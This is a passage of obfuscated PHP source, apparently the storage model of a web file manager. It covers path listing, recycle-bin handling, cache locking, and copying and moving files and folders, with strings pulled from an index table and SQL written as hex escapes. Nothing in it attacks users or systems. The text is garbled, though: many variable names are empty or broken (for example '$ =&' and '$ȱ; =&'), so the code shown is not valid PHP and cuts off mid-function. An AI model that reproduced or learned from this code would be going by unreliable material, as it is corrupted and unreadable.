$this->sourceInfo($[0]); $͗ȏ = is_array($ԡ) ? array($ԡ) : !1; } else { $͗ȏ = $this->field($Ԭ[562])->where($ˀ)->select(); } if (!$͗ȏ) { $͗ȏ = array(); } foreach ($͗ȏ as $ר) { $[$ר[$Ԭ[183]]] = $ר[$Ԭ[32]]; } } $䅕 = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ʠ = array(); foreach ($ڹ as &$) { $ђ׶ = $[$Ԭ[555]]; $ = $Ԭ[12]; if (isset($ʠ[$ђ׶])) { $ = $ʠ[$ђ׶]; } else { $Ժ = $this->parentLevelArray($[$Ԭ[555]]); foreach ($Ժ as $ۈ => $ё) { if (isset($[$ё])) { $ .= $[$ё] . $Ԭ[8]; } } $ʠ[$ђ׶] = $; } $ .= $[$Ԭ[32]]; if ($[$Ԭ[455]] == $Ԭ[90]) { $ .= $Ԭ[8]; } $[$Ԭ[553]] = str_replace($Ԭ[563], $Ԭ[8], $); if ($[$Ԭ[182]] == $Ԭ[214]) { $[$Ԭ[32]] = trim($[$[$Ԭ[183]]], $Ԭ[8]); $[$Ԭ[553]] = $[$Ԭ[32]] . $Ԭ[8]; } if (intval($[$Ԭ[180]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($, $Ժ, $䅕); } } unset($); return $ڹ; } private function _listAppendPathRecycle(&$, $, $ڙ) { $ѐ =& $_SERVER[ʇ]; if (!in_array($ڙ, $) && $[$ѐ[183]] != $ڙ) { return; } $ʟ = explode($ѐ[8], trim($[$ѐ[553]], $ѐ[8])); $ = implode($ѐ[8], array_slice($ʟ, 2)); $[$ѐ[553]] = $ѐ[8] . LNG($ѐ[564]) . $ѐ[8] . ltrim($, $ѐ[8]); $[$ѐ[555]] = $ѐ[565] . implode($ѐ[50], array_slice($, 1)) . $ѐ[50]; if ($[$ѐ[183]] == $ڙ) { $[$ѐ[555]] = $ѐ[565]; $[$ѐ[182]] = $ѐ[214]; $[$ѐ[32]] = LNG($ѐ[564]); } $[$ѐ[566]] = $ѐ[567]; } protected function _listAppendPathRoot(&$, $) { $ȱ; =& $_SERVER[ʇ]; static $ϰ = false; $ϔ = $ȱ;[12]; if ($[$ȱ;[180]] == self::TYPE_USER) { if ($[$ȱ;[540]] == USER_ID) { $ϔ = LNG($ȱ;[568]); if ($ϰ === !1) { $Ԟ = Model($ȱ;[569])->getInfoFull(USER_ID); $ϰ = _get($Ԟ, $ȱ;[570], $ȱ;[12]); } if ($ && $[0] == $ϰ || !$ && $[$ȱ;[183]] == $ϰ) { $ϔ = LNG($ȱ;[571]); $[$ȱ;[572]] = $ȱ;[573]; } if (!$) { $[$ȱ;[32]] = $ϔ; } } else { $[$ȱ;[574]] = Model($ȱ;[548])->getInfoSimpleOuter($[$ȱ;[540]]); $ϔ = LNG($ȱ;[575]) . $ȱ;[165] . $[$ȱ;[574]][$ȱ;[32]] . $ȱ;[167]; } } else { if ($[$ȱ;[180]] == self::TYPE_GROUP) { $ = Model($ȱ;[556])->getInfoSimple($[$ȱ;[540]]); $ϔ = $[$ȱ;[32]]; } else { if ($[$ȱ;[180]] == self::TYPE_SYSTEM) { $ϔ = $ȱ;[576]; } } } $ϔ = $ϔ ? $ȱ;[8] . $ϔ . $ȱ;[8] : $ȱ;[8]; return $ϔ; } protected function _listAppendUser(&$Ձ) { $Ҏ =& $_SERVER[ʇ]; $ = array_to_keyvalue($Ձ, $Ҏ[12], $Ҏ[497]); $Ѻ = array_to_keyvalue($Ձ, $Ҏ[12], $Ҏ[499]); $꒛߼ = array_merge($, $Ѻ); $ə = Model($Ҏ[569])->userListInfo($꒛߼); foreach ($Ձ as &$) { $ = $[$Ҏ[497]]; $[$Ҏ[497]] = $ə[$] ? $ə[$] : !1; $ = $[$Ҏ[499]]; $[$Ҏ[499]] = $ə[$] ? $ə[$] : !1; if (isset($[$Ҏ[509]]) && $[$Ҏ[509]][$Ҏ[577]]) { $ = $GLOBALS[$Ҏ[6]][$Ҏ[91]][$Ҏ[578]]; if ($[$Ҏ[509]][$Ҏ[579]] <= time() - $) { $this->metaSet($[$Ҏ[183]], $Ҏ[577], null); $this->metaSet($[$Ҏ[183]], $Ҏ[579], null); unset($[$Ҏ[509]][$Ҏ[577]]); continue; } $ؼ = $[$Ҏ[509]][$Ҏ[577]]; $[$Ҏ[509]][$Ҏ[580]] = Model($Ҏ[569])->getInfoSimpleOuter($ؼ); } } unset($); } public function parentLevelArray($۫) { $ =& $_SERVER[ʇ]; $۫ = explode($[50], trim($۫, $[50])); return array_remove_value($۫, $[214]); } public function listAll($膑) { $Ƞُ =& $_SERVER[ʇ]; $廼 = $this->sourceInfo($膑); $ş = array($Ƞُ[581] => array($Ƞُ[582], $廼[$Ƞُ[555]] . $膑 . $Ƞُ[583]), $Ƞُ[584] => 0); $ = $Ƞُ[585]; $؄ = "\x4c\105\x46\x54\40\x4a\117\x49\x4e\x20{$this->tablePrefix}\151\x6f\x5f\x66\151\x6c\x65\40\x66\x69\154\x65\x20\157\x6e\x20\x73\x6f\165\x72\x63\x65\x2e\146\x69\154\145\x49\104\x20\75\x20\x66\151\x6c\x65\56\146\151\x6c\145\x49\x44"; $ũ = $this->alias($Ƞُ[489])->field($)->where($ş)->join($؄)->select(); $this->_listAppendAuth($ũ); $this->_listAppendUser($ũ); $this->_listAppendPath($ũ); $ũ = array_to_keyvalue($ũ, $Ƞُ[183]); $Ϥ = "\x2f{$廼[$Ƞُ[32]]}\x2f"; $Ϥ = $Ϥ == $Ƞُ[563] ? $Ƞُ[8] : $Ϥ; $ij = array(); foreach ($ũ as $ => $) { $ᕯ = $this->parentLevelArray($[$Ƞُ[555]]); array_shift($ᕯ); $ܴ = $Ϥ; for ($ = 0; $ < count($ᕯ); $++) { $ܴ .= $ũ[$ᕯ[$]][$Ƞُ[32]] . $Ƞُ[8]; } $ܴ .= $[$Ƞُ[32]]; if ($[$Ƞُ[455]]) { $ܴ .= $Ƞُ[8]; } $ = array($Ƞُ[465] => str_replace($Ƞُ[563], $Ƞُ[8], str_replace($Ƞُ[563], $Ƞُ[8], str_replace($Ƞُ[563], $Ƞُ[8], $ܴ))), $Ƞُ[586] => intval($[$Ƞُ[455]]), $Ƞُ[587] => intval($[$Ƞُ[78]]), $Ƞُ[87] => intval($[$Ƞُ[87]]), $Ƞُ[89] => $this->pathInfoFilter($)); if (!$[$Ƞُ[455]]) { $[$Ƞُ[511]] = $[$Ƞُ[511]]; } $ij[] = $; } $ij = array_sort_by($ij, $Ƞُ[86]); return $ij; } } class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($Ц) { $ =& $_SERVER[ʇ]; if (!$this->allowLock()) { return; } $this->_lockCheck($[588], $Ц); $ކ = 1; $this->_lockEvent($Ц, array($[589], $[590]), $ކ); $this->_lockParent($Ц, array($[590]), $ކ); $this->_lockEvent($Ц, array($[591], $[592]), $ކ); $this->_lockCheckEnd($[588], $Ц); } public function lockCopyEnd($) { $ۥ =& $_SERVER[ʇ]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockEvent($, array($ۥ[589], $ۥ[590]), $); $this->_lockParent($, array($ۥ[590]), $); $this->_lockEvent($, array($ۥ[591], $ۥ[592]), $); } public function lockWriteStart($ڰۢ, $է = '') { $ =& $_SERVER[ʇ]; if (!$this->allowLock()) { return; } $this->_lockCheck($[589], $ڰۢ); $ղ = 1; $this->_lockKey($[593] . $ڰۢ . $[10] . $է, $ղ); $this->_lockEvent($ڰۢ, array($[588], $[590]), $ղ); $this->_lockParent($ڰۢ, array($[588], $[590]), $ղ); $this->_lockCheckEnd($[589], $ڰۢ); } public function lockWriteEnd($翪, $ = '') { $ =& $_SERVER[ʇ]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($[593] . $翪 . $[10] . $, $); $this->_lockEvent($翪, array($[588], $[590]), $); $this->_lockParent($翪, array($[588], $[590]), $); } public function lockMoveStart($̴) { $ =& $_SERVER[ʇ]; if (!$this->allowLock()) { return; } $this->_lockCheck($[590], $̴); $ϗՇ = 1; $this->_lockKey($[594] . $̴, $ϗՇ); $this->_lockEvent($̴, array($[588], $[589]), $ϗՇ); $this->_lockParent($̴, array($[588], $[590]), $ϗՇ); $this->_lockEvent($̴, array($[595], $[591], $[592]), $ϗՇ); $this->_lockCheckEnd($[590], $̴); } public function lockMoveEnd($ژ) { $͖ =& $_SERVER[ʇ]; if (!$this->allowLock()) { return; } $ؿΛ = 0; $this->_lockKey($͖[594] . $ژ, $ؿΛ); $this->_lockEvent($ژ, array($͖[588], $͖[589]), $ؿΛ); $this->_lockParent($ژ, array($͖[588], $͖[590]), $ؿΛ); $this->_lockEvent($ژ, array($͖[595], $͖[591], $͖[592]), $ؿΛ); } private function _lockCheck($΀, $ҝ) { $ =& $_SERVER[ʇ]; $ɱ = $this->sourceInfo($ҝ); $ = $΀ . $[10] . $ҝ; $this->_lockTimeStart[$] = timeFloat(); if (!is_array($ɱ)) { return; } $Ŕ = LNG($[596]); CacheLock::setErrorMsg($[165] . htmlspecialchars($ɱ[$[32]]) . $[167] . $Ŕ); $this->_lockKey($, 1); $this->_lockKey($, 0); $ا = array_reverse($this->parentLevelArray($ɱ[$[555]])); foreach ($ا as $ᓾ) { $ = $΀ . $[597] . $ᓾ; if (CacheLock::lockGet($[598] . $)) { $ɱ = $this->sourceInfo($ᓾ); CacheLock::setErrorMsg($[165] . htmlspecialchars($ɱ[$[32]]) . $[167] . $Ŕ); $this->_lockKey($, 1); $this->_lockKey($, 0); } } } private function _lockCheckEnd($, $) { $޽ =& $_SERVER[ʇ]; $ = $ . $޽[10] . $; CacheLock::setErrorMsg($޽[424]); if (!isset($this->_lockTimeStart[$])) { return; } $ٴ = timeFloat() - $this->_lockTimeStart[$]; unset($this->_lockTimeStart[$]); if ($ٴ > 0.5) { unset(self::$cacheSourceInfo[$޽[503] . $]); } $崹 = $this->sourceInfo($); if (!$崹) { show_json(LNG($޽[107]), !1); } } private function _lockParent($ӱ, $, $) { if (!$this->autoLockSet) { return; } $ = $this->sourceInfo($ӱ); if (!is_array($)) { return; } $ξ = array_reverse($this->parentLevelArray($[$_SERVER[ʇ][555]])); foreach ($ξ as $) { $this->_lockEvent($, $, $); } } private function _lockEvent($ò, $, $) { $ =& $_SERVER[ʇ]; if (!$this->autoLockSet) { return; } foreach ($ as $Ō) { $Ӎ = $Ō . $[10] . $ò; if ($ && CacheLock::lockGet($[598] . $Ӎ)) { continue; } $this->_lockKey($Ӎ, $); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($ᗑ, $ = 1) { $ = $_SERVER[ʇ][598] . md5($ᗑ); if ($) { if (isset(self::$_lockItemArr[$])) { return; } self::$_lockItemArr[$] = 1; CacheLock::lock($, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$])) { return; } unset(self::$_lockItemArr[$]); CacheLock::unlock($); } } public function isParentOf($㓿, $ܭ) { $ж =& $_SERVER[ʇ]; $ = $this->sourceInfo($㓿); $߇ = $this->sourceInfo($ܭ); $ = $[$ж[555]] . $[$ж[183]] . $ж[50]; $ = $߇[$ж[555]] . $߇[$ж[183]] . $ж[50]; $ = strpos($, $) === 0; return $; } private $targetIsDelete = 0; public function copy($, $ؠ, $䎮 = REPEAT_REPLACE, $ʾ = '') { $‰ =& $_SERVER[ʇ]; $ = $this->sourceInfo($); $ = $this->sourceInfo($ؠ); if (!$ || !$ || $[$‰[455]] != $‰[90]) { return !1; } if ($this->isParentOf($, $ؠ)) { return !1; } $ൄ = $ʾ ? $ʾ : $[$‰[32]]; $this->lockCopyStart($); $this->lockWriteStart($ؠ, $ൄ); $ = array($‰[599] => array(), $‰[600] => array(), $‰[601] => array()); $this->targetIsDelete = intval($[$‰[475]]); $» = $this->fileNameExistAuto($ؠ, $); $ݶ = $this->_copy($, $ؠ, $䎮, $, !0, $ʾ); $this->_childrenListClear(); $this->lockCopyEnd($); $this->lockWriteEnd($ؠ, $ൄ); if ($[$‰[455]] == $‰[90] && $» == $ݶ) { $this->folderSizeResetChildren($»); } Model($‰[602])->addAll($[$‰[600]], array(), !0); if ($» != $ݶ || $[$‰[455]] == $‰[90]) { Model($‰[603])->eventCopy($ݶ); } $this->saveAll($[$‰[601]]); Model($‰[216])->linkAdd($[$‰[599]]); $this->folderSizeReset($ؠ); $this->updateModifyTime($ؠ); return $ݶ; } private function _copy($Ꮀ, $, $, &$ʠˁ, $, $ٶ = '') { $ =& $_SERVER[ʇ]; $指 = $this->sourceInfoCache($Ꮀ); $ = $指[$[455]] == $[90]; $ = $ٶ ? $ٶ : $指[$[32]]; $ = $this->fileNameExistAuto($, $指); if ($) { $this->_childrenAllMake($Ꮀ); if ($ && $) { $this->_childrenAllMake($); } } if (!$) { return $this->_copyCreate($Ꮀ, $, $, $ʠˁ); } $ = $; if ($) { if ($ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($, $, $, $); $ = $this->_copyCreate($Ꮀ, $, $, $ʠˁ); } else { $ = $this->_childrenList($Ꮀ); foreach ($ as $͵) { $this->_copy($͵[$[183]], $, $, $ʠˁ, !1); } } } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($, $, $, $); $ = $this->_copyCreate($Ꮀ, $, $, $ʠˁ); } else { if ($ == REPEAT_REPLACE) { $́ = $this->sourceInfoCache($); $ = $this->fileHistory($́, $指[$[511]], $指[$[78]]); if ($) { $ʠˁ[$[599]][] = $指[$[511]]; } } else { if ($ == REPEAT_SKIP) { } } } Hook::trigger($[604], array($[605], $指, 0)); } return $; } private function _copyCreate($ۅ, $, $׆, &$ם) { $۱ =& $_SERVER[ʇ]; $˜ = $this->sourceInfoCache($ۅ); $Զ = $this->sourceInfoCache($); $ = $this->_makeItemData($˜, $Զ, $׆); Hook::trigger($۱[606], $); Hook::trigger($۱[607], array($۱[608], $, 0)); $ = $this->add($); $ = array($۱[183] => $, $۱[32] => $׆); $this->_copyApplyMeta($, $ם); if ($˜[$۱[455]] != $۱[90]) { $ם[$۱[599]][] = $˜[$۱[511]]; return $; } $ⅴ = array(); $ = array(); $this->_childrenListAll($ۅ, $ⅴ); $ = count($ⅴ); if ($ == 0) { return $; } $› = $this->sourceInfo($); foreach ($ⅴ as $Ԋۯ) { $ɪڣ = $this->_makeItemData($Ԋۯ, $›, $Ԋۯ[$۱[32]]); $ɪڣ[$۱[555]] = $Ԋۯ[$۱[555]]; $[] = $ɪڣ; } $this->chunkEventSet($۱[609], array($۱[610], $, $)); $this->addAll($, array(), !1); $ݠ = $this->where(array($۱[182] => $))->select(); $投 = $this->_childrenMakeRelation($ⅴ, $ݠ); $投[$ۅ] = $; $к = array(); $ = array(); foreach ($ݠ as $Ԋۯ) { $ = $Ԋۯ[$۱[183]]; $̵ = $this->_childrenMatch($投, $Ԋۯ, $›); $к[] = array($۱[183], $, $۱[182], $̵[$۱[182]]); $[] = array($۱[183], $, $۱[555], $̵[$۱[555]]); $this->_copyApplyMeta($Ԋۯ, $ם); if ($Ԋۯ[$۱[455]] != $۱[90]) { $ם[$۱[599]][] = $Ԋۯ[$۱[511]]; } } $this->chunkEventSet($۱[611], array($۱[612], $, $)); $this->saveAll($к); $this->chunkEventSet($۱[613], array($۱[614], $, $)); $this->saveAll($); return $; } private function _childrenMakeRelation($, $) { $һ =& $_SERVER[ʇ]; $ = array(); $ǃ = array(); foreach ($ as $˗) { $̍ = $˗[$һ[32]] . $һ[8] . $˗[$һ[555]]; $[$̍] = $˗[$һ[183]]; } foreach ($ as $˗) { $̍ = $˗[$һ[32]] . $һ[8] . $˗[$һ[555]]; $ = $[$̍]; $ǃ[$] = $˗[$һ[183]]; } return $ǃ; } private function _childrenMatch($̠, $̕, $) { $Ŋ =& $_SERVER[ʇ]; $ = $[$Ŋ[555]]; $lj = $this->parentLevelArray($̕[$Ŋ[555]]); foreach ($lj as $ȹ) { if (isset($̠[$ȹ])) { $ .= $̠[$ȹ] . $Ŋ[615]; } } $ = rtrim($, $Ŋ[50]) . $Ŋ[50]; $Ҳ = $this->parentLevelArray($); $ = $Ҳ[count($Ҳ) - 1]; return array($Ŋ[182] => $, $Ŋ[555] => $); } private function _makeItemData($Ɂ¡, $, $) { $ʗ =& $_SERVER[ʇ]; $՘ = array($ʗ[616] => $Ɂ¡[$ʗ[455]], $ʗ[464] => $, $ʗ[617] => $Ɂ¡[$ʗ[456]] ? $Ɂ¡[$ʗ[456]] : $ʗ[12], $ʗ[512] => $Ɂ¡[$ʗ[511]] ? $Ɂ¡[$ʗ[511]] : 0, $ʗ[587] => $Ɂ¡[$ʗ[78]] ? $Ɂ¡[$ʗ[78]] : 0, $ʗ[618] => intval($[$ʗ[180]]), $ʗ[619] => intval($[$ʗ[540]]), $ʗ[620] => intval(USER_ID), $ʗ[621] => intval(USER_ID), $ʗ[447] => intval($[$ʗ[183]]), $ʗ[622] => $[$ʗ[555]] . $[$ʗ[183]] . $ʗ[50], $ʗ[468] => $Ɂ¡[$ʗ[87]] ? $Ɂ¡[$ʗ[87]] : time(), $ʗ[474] => 0, $ʗ[623] => $ʗ[12]); return $՘; } private function _copyApplyMeta($, &$ȳ) { $ =& $_SERVER[ʇ]; $ߡ = $[$[183]]; $Ϳ = $[$[32]]; if (!isset($[$[624]]) || !$[$[624]] || $[$[624]] == $[214]) { $ȳ[$[601]][] = array($[183], $ߡ, $[624], short_id($ߡ)); } if (Input::check($Ϳ, $[625])) { $ȳ[$[600]][] = array($[183] => $ߡ, $[96] => $[508], $[420] => str_replace($[53], $[12], Pinyin::get($Ϳ))); $ȳ[$[600]][] = array($[183] => $ߡ, $[96] => $[507], $[420] => Pinyin::get($Ϳ, $[626])); } $ȳ[$[600]][] = array($[183] => $ߡ, $[96] => $[487], $[420] => KodSort::makeStr($Ϳ)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($ֽ) { $ =& $_SERVER[ʇ]; $祚 = $this->sourceInfo($ֽ); $҂ = $[627]; $ծ܁ = array($[555] => array($[582], $祚[$[555]] . $ֽ . $[583]), $[475] => $this->targetIsDelete); $̚ = $this->field($҂)->where($ծ܁)->select(); if (!$̚) { return; } $̚ = array_to_keyvalue($̚, $[183]); foreach ($̚ as $ѷ) { $ = $ѷ[$[182]]; $ֽ = $ѷ[$[183]]; if (!isset($this->_childrenListCache[$ֽ]) && $ѷ[$[455]] == $[90]) { $this->_childrenListCache[$ֽ] = array(); } if (!isset($this->_childrenListCache[$])) { $this->_childrenListCache[$] = array(); } $this->_childrenListCache[$][$ֽ] = $ѷ; $this->_childrenItemCache[$ֽ] = $ѷ; } } private function _childrenListAll($ѽ, &$) { $ =& $_SERVER[ʇ]; if (!isset($this->_childrenListCache[$ѽ])) { return; } $癤 = $this->_childrenListCache[$ѽ]; foreach ($癤 as $ => $硨) { $[$] = $硨; if ($硨[$[455]] == $[90]) { $this->_childrenListAll($, $); } } } private function sourceInfoCache($) { if (isset($this->_childrenItemCache[$])) { return $this->_childrenItemCache[$]; } return $this->sourceInfo($); } private function _childrenList($) { if (isset($this->_childrenListCache[$])) { return $this->_childrenListCache[$]; } return $this->_childrenListSelect($); } private function _childrenListSelect($) { $݁ =& $_SERVER[ʇ]; $Ł = array($݁[182] => $, $݁[475] => $this->targetIsDelete); $㌱ = $this->where($Ł)->select(); $㌱ = $㌱ ? $㌱ : array(); $ǯ = array_to_keyvalue($㌱, $݁[183]); $this->_childrenListCache[$] = $ǯ; foreach ($ǯ as $ => $ܔ‰) { $this->_childrenItemCache[$] = $ܔ‰; } return $ǯ; } private function fileNameExistAuto($, $) { $樝 =& $_SERVER[ʇ]; if ($[$樝[475]] == $樝[90]) { return $this->fileNameExist($, $[$樝[32]]); } return $this->fileNameExistCache($, $[$樝[32]]); } private function fileNameExistCache($, $) { $ =& $_SERVER[ʇ]; $ = strtolower($); $똎ӫ = $this->_childrenList($); foreach ($똎ӫ as $臰) { if ($ == strtolower($臰[$[32]])) { return $臰[$[183]]; } } return !1; } private function fileNameAutoCache($ګ, $, $΂, $ϋƘ) { $ =& $_SERVER[ʇ]; $ֵ = $this->_childrenList($ګ); $Ǎ = array_to_keyvalue($ֵ, $[12], $[32]); return $this->fileNameAutoGet($Ǎ, $, $΂, $ϋƘ); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($݌, $, $ = REPEAT_REPLACE, $DŽ = '') { $ =& $_SERVER[ʇ]; $ = $this->sourceInfo($݌); $ۆ = $this->sourceInfo($); if ($[$[182]] == $ۆ[$[183]]) { if ($[$[475]] == $[90]) { Model($[473])->restore(array($݌)); } if (!$DŽ || $DŽ == $[$[32]]) { return $݌; } } $ = $this->pathInfoMore($݌); if ($this->isParentOf($݌, $)) { return !1; } if (!$ || !$ۆ || $ۆ[$[455]] != $[90]) { return !1; } Hook::trigger($[628], $); $this->targetIsDelete = intval($[$[475]]); if ($[$[182]] == $ && $DŽ != $[$[32]]) { $ = $this->fileNameExist($, $DŽ); if ($ && $[$[455]] == $[214]) { $ސ = $this->sourceInfo($); $ = $this->fileHistory($ސ, $[$[511]], $[$[78]]); if (!$) { Model($[514])->remove($[$[511]]); } $this->removeNow($݌, !1); $this->folderSizeReset($); Hook::trigger($[629], $); return $; } } $ӹ = $DŽ ? $DŽ : $[$[32]]; $this->lockMoveStart($݌); $this->lockWriteStart($, $ӹ); $ = array($[599] => array(), $[630] => !1); $this->clearShare($݌, $); $̗ = $this->fileNameExistAuto($, $); $䓼 = $this->_move($݌, $, $, $, $DŽ); $this->sourceCacheClear(); if ($[$[455]] == $[90] && $̗) { $this->folderSizeResetChildren($䓼); } Model($[216])->linkAdd($[$[599]]); if ($̗ && $[$[630]]) { $this->removeNow($݌, !1); } $this->lockMoveEnd($݌); $this->lockWriteEnd($, $ӹ); $this->folderSizeReset($[$[182]]); $this->folderSizeReset($); $ˑ = array($[$[182]], $); if ($[$[455]] == $[90]) { $ˑ[] = $݌; } $this->updateModifyTime($ˑ); Model($[603])->eventMove($݌, $[$[182]], $); Hook::trigger($[629], $); return $䓼; } private function _move($݂, $, $, &$Ɇ, $ = '') { $ʪ =& $_SERVER[ʇ]; $͛ = $this->sourceInfo($݂); $ʖ = $͛[$ʪ[455]] == $ʪ[90]; $ = $ ? $ : $͛[$ʪ[32]]; $ȇ = $this->fileNameExistAuto($, $͛); $this->lockMoveStart($݂); $this->lockWriteStart($, $); if (!$ȇ) { return $this->_moveForce($݂, $, $); } $ = $ȇ; $ؽ = !1; if ($ʖ) { if ($ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($, $, $, $ʖ); $ = $this->_moveForce($݂, $, $); } else { if ($ == REPEAT_RENAME_FOLDER) { $ = REPEAT_RENAME; } $߁ﵹ = $this->_childrenListSelect($݂); foreach ($߁ﵹ as $ψ덂) { $this->_move($ψ덂[$ʪ[183]], $ȇ, $, $Ɇ); } $ؽ = !0; } } else { if ($ == REPEAT_SKIP) { $ؽ = !0; } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($, $, $, $ʖ); $ = $this->_moveForce($݂, $, $); } else { if ($ == REPEAT_REPLACE) { $Ԙ섌 = $this->sourceInfoCache($ȇ); $ձ = $this->fileHistory($Ԙ섌, $͛[$ʪ[511]], $͛[$ʪ[78]]); $ؽ = !0; if ($ձ) { $Ɇ[$ʪ[599]][] = $͛[$ʪ[511]]; } } } } } if ($ؽ && !$Ɇ[$ʪ[630]]) { $Ɇ[$ʪ[630]] = !0; } return $; } private function _moveForce($יҭ, $ٹ, $߱) { $ģ =& $_SERVER[ʇ]; $ = $this->sourceInfo($יҭ); $Ō = $this->sourceInfo($ٹ); $ۻ = $[$ģ[455]] == $ģ[90]; $ǰ = array($ģ[447] => $Ō[$ģ[183]], $ģ[622] => $Ō[$ģ[555]] . $Ō[$ģ[183]] . $ģ[50], $ģ[618] => $Ō[$ģ[180]], $ģ[619] => $Ō[$ģ[540]], $ģ[621] => USER_ID, $ģ[464] => $߱); $ʅᤲ = $[$ģ[180]] == SourceModel::TYPE_GROUP && $Ō[$ģ[180]] == SourceModel::TYPE_GROUP && $[$ģ[540]] == $Ō[$ģ[540]]; if (!$ʅᤲ && $this->moveClearAuth) { Model($ģ[538])->authClear($יҭ); } $ = $[$ģ[475]] == $ģ[90] && $Ō[$ģ[475]] != $ģ[90]; if ($) { $ǰ[$ģ[474]] = 0; } if ($ۻ) { $ = array($ģ[622] => array($ģ[582], $[$ģ[555]] . $[$ģ[183]] . $ģ[583])); $ٸ = $[$ģ[555]] . $[$ģ[183]] . $ģ[50]; $ꓡ = $Ō[$ģ[555]] . $Ō[$ģ[183]] . $ģ[50] . $[$ģ[183]] . $ģ[50]; $ʧ = array($ģ[622] => array($ģ[631], "\162\x65\x70\x6c\x61\143\145\x28\160\141\162\145\x6e\164\114\x65\166\145\x6c\x2c\x27{$ٸ}\47\x2c\x27{$ꓡ}\47\51"), $ģ[618] => $Ō[$ģ[180]], $ģ[619] => $Ō[$ģ[540]]); if ($) { $ʧ[$ģ[474]] = 0; } $this->where($)->data($ʧ)->save(); } $this->where(array($ģ[461] => $יҭ))->data($ǰ)->save(); return $יҭ; } private function clearShare($㓙, $ҹѨ) { $щϩ =& $_SERVER[ʇ]; $ = $this->sourceInfo($㓙); $ß = $this->sourceInfo($ҹѨ); if ($[$щϩ[540]] == $ß[$щϩ[540]] && $[$щϩ[180]] == $щϩ[632]) { return; } $˗ = array($щϩ[555] => array($щϩ[582], $[$щϩ[555]] . $㓙 . $щϩ[583])); $ = $this->field($щϩ[461])->where($˗)->getField($щϩ[183], !0); if (!$) { return; } $˗ = array($щϩ[183] => array($щϩ[7], $), $щϩ[633] => 1); $֋ = Model($щϩ[634])->field($щϩ[635])->where($˗)->select(); if (!$֋) { return; } $֋ = array_to_keyvalue($֋, $щϩ[12], $щϩ[635]); $˗ = array($щϩ[635] => array($щϩ[7], $֋)); Model($щϩ[634])->where($˗)->save(array($щϩ[633] => 0)); Model($щϩ[636])->where($˗)->delete(); } public function copyFolderFromIO($, $眄, $, $䐳, $, $ = false) { $ =& $_SERVER[ʇ]; $޳ = array($[600] => array(), $[601] => array(), $[599] => array(), $[637] => array()); $̧ޒ = $ ? $ : $->pathThis($眄); $ޕ = $this->fileNameExist($, $̧ޒ); $ꥆ = $this->mkdir($, $̧ޒ, $䐳); if (!$ޕ || $䐳 == REPEAT_RENAME_FOLDER) { $䐳 = !1; } if ($ޕ) { $this->_childrenAllMake($ޕ); } Hook::trigger($[638]); $this->_copyChildTo($, $眄, $ꥆ, $䐳, $޳, $); Hook::trigger($[639]); if ($ꥆ) { $this->folderSizeResetChildren($ꥆ); } $this->_childrenListClear(); Model($[602])->addAll($޳[$[600]], array(), !0); Model($[603])->eventCopy($ꥆ); $this->saveAll($޳[$[601]]); Model($[514])->linkAdd($޳[$[599]]); Model($[514])->remove($޳[$[637]]); $this->folderSizeReset($); $this->updateModifyTime($); return $ꥆ; } private function _copyChildTo($, $ց, $ػ, $, &$, $Ȃ) { $ =& $_SERVER[ʇ]; $ӧ = $this->sourceInfoCache($ػ); $ = $->listPath($ց); $ = $ ? $ : array($[85] => array(), $[84] => array()); $î = array_merge($[$[85]], $[$[84]]); $… = $this->_addFiles($, $[$[85]], $Ȃ); $֡ = array(); foreach ($î as &$ɸ) { if (isset($…[$ɸ[$[32]]])) { $ɸ = $…[$ɸ[$[32]]]; } $ɸ[$[455]] = $ɸ[$[33]] == $[77]; $ɸ[$[456]] = substr(_get($ɸ, $[177], $[12]), 0, 10); $ɸ[$[78]] = _get($ɸ, $[78], 0); $ɸ[$[511]] = _get($ɸ, $[511], 0); if (!isset($ɸ[$[640]]) && $ɸ[$[511]]) { $[$[637]][] = $ɸ[$[511]]; } if ($) { $ϙ = $this->fileNameExistCache($ػ, $ɸ[$[32]]); if ($ϙ) { if ($ɸ[$[455]] || $ == REPEAT_SKIP) { continue; } if ($ == REPEAT_REPLACE) { $̣ = $this->sourceInfoCache($ϙ); $ = $this->fileHistory($̣, $ɸ[$[511]], $ɸ[$[78]]); if ($) { $[$[599]][] = $ɸ[$[511]]; } continue; } else { if ($ == REPEAT_RENAME) { $ɸ[$[32]] = $this->fileNameAutoCache($ػ, $ɸ[$[32]], $, !1); } } } } if (!$ɸ[$[455]] && $ɸ[$[511]] == 0) { continue; } if (!$ɸ[$[455]] && $ɸ[$[511]]) { $[$[599]][] = $ɸ[$[511]]; } $֡[] = $this->_makeItemData($ɸ, $ӧ, $ɸ[$[32]]); } unset($ɸ); if (!empty($֡)) { $this->addAll($֡); $this->_childrenListSelect($ػ); } $ = $this->_childrenList($ػ); $ = array_to_keyvalue($, $[32]); foreach ($î as $ɸ) { $̣ = $[$ɸ[$[32]]]; $Ӝʁ = $̣[$[183]]; $this->_copyApplyMeta($̣, $); if ($ɸ[$[33]] == $[77]) { $ɸ[$[86]] = $->getPathInner($ɸ[$[86]]); $this->_copyChildTo($, $ɸ[$[86]], $Ӝʁ, $, $, $Ȃ); } } } private function _addFiles($ݺ޳, $ꫨ͂, $߅) { $ =& $_SERVER[ʇ]; if (!$ꫨ͂ || count($ꫨ͂) == 0) { return array(); } $ = array(); foreach ($ꫨ͂ as &$Ɵ) { Hook::trigger($[641], $Ɵ); $Ɵ[$[86]] = $ݺ޳->getPathInner($Ɵ[$[86]]); $󘩛 = $ݺ޳->hashSimple($Ɵ[$[86]]); $쫿 = $ݺ޳->hashMd5($Ɵ[$[86]]); if (strlen($쫿) > 10 && !isset($[$쫿])) { $[$쫿] = array(); 